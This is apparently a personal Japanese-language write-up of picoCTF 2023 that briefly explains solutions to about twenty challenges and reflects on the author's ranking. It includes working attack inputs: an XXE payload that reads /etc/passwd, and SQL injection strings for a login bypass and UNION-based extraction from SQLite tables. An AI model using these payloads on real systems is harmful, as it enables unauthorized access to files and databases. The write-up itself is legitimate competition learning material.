picoCTF2023 writeup
結果
1649位/6924位でした。
各カテゴリの回答数はこんな感じ。

所感
picoGym始めてから数か月経ったけど、そこまで解けるようになった実感はないですね。
まだもともとの知識で戦ってる感じがあります。
問題を通していろんな技術を吸収したいけど、もっと体系的に勉強しないと身につかない気がしててモヤモヤ。
惜しい問題は数個あったので、次回はもっと解けるように頑張ります
writeup
chrono
crontab -lかと思ったらなかった
cronの定義ファイルを見ないといけない /etc/crontabが正解ファイル
hideme
flag.pngが与えられる

zipの中にflagが入ってる

MatchTheRegex

正規表現てかいてあったから、
.*とか^.*$とかで全マッチさせるかと思ったら違った
// ^p.....F!?
.が任意の1文字だから、あてはまるものを考えてねってことだったのかな…
真意が不明の問題だった
money-ware
ぐぐったら出てくる
PcapPoisoning
wiresharkで開いて探せばある

Permissions
悩んだが結局ファイル探しするだけだった
ホームフォルダは特に何もないので、ルートに移動する
cd /
ls -l
で見れる権限のあるフォルダが絞られる
cd challenge
vim metadata.json
の中にフラグあり
ReadMyCert
opensslでcrtを開く
>openssl req -noout -text -in readmycert.csr
コモンネームが答え
Subject: CN = picoCTF{read_mycert_96d48a46}, name = ctfPlayer
Ready Gladiator 0
わけわからんまま解いてしまった
Corewarsというゲームがあるらしく、redcodeというものでプレイヤーの動作を決めるらしい
全試合負けろというお題だったが、mov 0,0に書き換えたらできた。ようわからん
repetitions
Base64で6回ほどデコードする

Reverse
stirlingで開くとある

rotation
ROT13でずらしてくだけ

Rules 2023
探すだけ
Safe Opener 2
ghidraでデコンパイルする

SOAP
SOAPの外部エンティティ攻撃をしかける。
wikipediaに載っていたコードをそのまま書いたらできた
<data><id/></data>は実際の通信を参考に

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ENTITY xxeattack SYSTEM "file:///etc/passwd">]><data><ID>&xxeattack;</ID></data>
timer
apkファイルは実態はzipなので解凍する
AndroidManifest.xmlの中に書いてある

two-sum
2つの値の和をオーバーフローさせる
やみくもに大きな値をいれてももともとがオーバーフローしちゃうからだめ
intが4バイトなので、
1つ1つは2147483647以下で、 2つの数字の和が2147483647以上になるようにする
大学の授業でありそう
who is it
メールのヘッダーを確認すると、 173.249.33.206が怪しそう
whoisで検索する
personが答え

More SQLi
ログイン
pass' OR '1'='1'--
テーブル名一覧
問題タイトルより、SQLiteっぽいので、SQLiteのDB一覧を表示させる
' OR '1'='1' UNION SELECT 1,2,3 FROM sqlite_master --
' OR '1'='1' UNION SELECT name,2,3 FROM sqlite_master --
テーブル名一覧は取得できた

' OR '1'='1' UNION ALL select * FROM hints --
' OR '1'='1' UNION ALL select * FROM more_table --
' OR '1'='1' UNION ALL select * FROM offices --
' OR '1'='1' UNION ALL select * FROM sqlite_autoindex_users_1 --
' OR '1'='1' UNION ALL select * FROM users --
' OR '1'='1' UNION sql from sqlite_master where type='table' and name='table_name' --
usersにadminが引っ掛かったが、正解じゃなかった

こっちのほうがたくさん情報とれそう
' OR '1'='1' UNION SELECT sql,2,3 FROM sqlite_master --

more_tableの中にflag列があるので、表示してみる
' OR '1'='1' UNION SELECT flag,2,3 FROM more_table --
あった!!

結果的に3列のテーブルがusersしかなかったので、UNION ALL SELECTではusersテーブルしか表示されなかったみたい。
参考
No way out
解けてうれしかったやつ
普通にゲームが始まる。
大きな旗のあたりが怪しそうだが行けない

unity製なのでunityのデコンパイルをする
dnSpy.exeを使う
dnSpyにpico_Data/Managed/Assenbly-CSharp.dllを食わせるとデコンパイルできる
PlayerControllerクラスに、プレイヤーの動きの制御が書いてありそう

34行目に落下時の重力制御が書いてある

ここをいじる

ジャンプの条件(51行目あたり)もいじるとジャンプボタン押すだけで宙に浮き続けられる

これで旗に触れればフラグゲット

Ready Gladiator 1
またまたcorewarsの問題
今度は勝つことを求められている
corewars redcode beginner docsでググったら出てきたサイトのコードをそのままコピペしたら勝てた
Discussion